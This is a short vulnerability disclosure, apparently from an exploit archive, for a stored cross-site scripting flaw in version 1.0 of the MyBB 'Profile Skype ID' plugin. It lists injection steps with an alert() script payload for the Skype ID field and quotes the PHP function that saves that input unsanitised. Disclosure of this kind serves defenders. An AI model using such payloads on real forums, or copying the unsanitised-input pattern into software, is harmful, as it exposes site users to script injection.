MyBB Profile Skype ID 1.0 Cross Site Scripting

`# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS  
# Date: 14/12/2012  
# Exploit Author: limb0  
# Vendor Homepage: http://www.dragonknightz.net/  
# Software Link: http://mods.mybb.com/view/user-profile-skype-id  
# Version: 1.0  
# Category:Web Security  
# Tested on: Linux  
  
+------------------------------------------------------------+  
Stored XSS-Instructions  
1.Install&Activate plugin  
2.Go to UserCP >> Edit Profile >> Skype ID:  
3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script>  
4.Visit your profile and voila  
  
Proof  
Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/  
Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/  
+-------------------------------------------------------------+  
  
Vulnerable code:  
function profileskype_update($skype)  
{  
global $mybb;  
if (isset($mybb->input['skype']))  
{  
$skype->user_update_data['skype'] = $mybb->input['skype'];  
}  
}  
  
  
  
  
`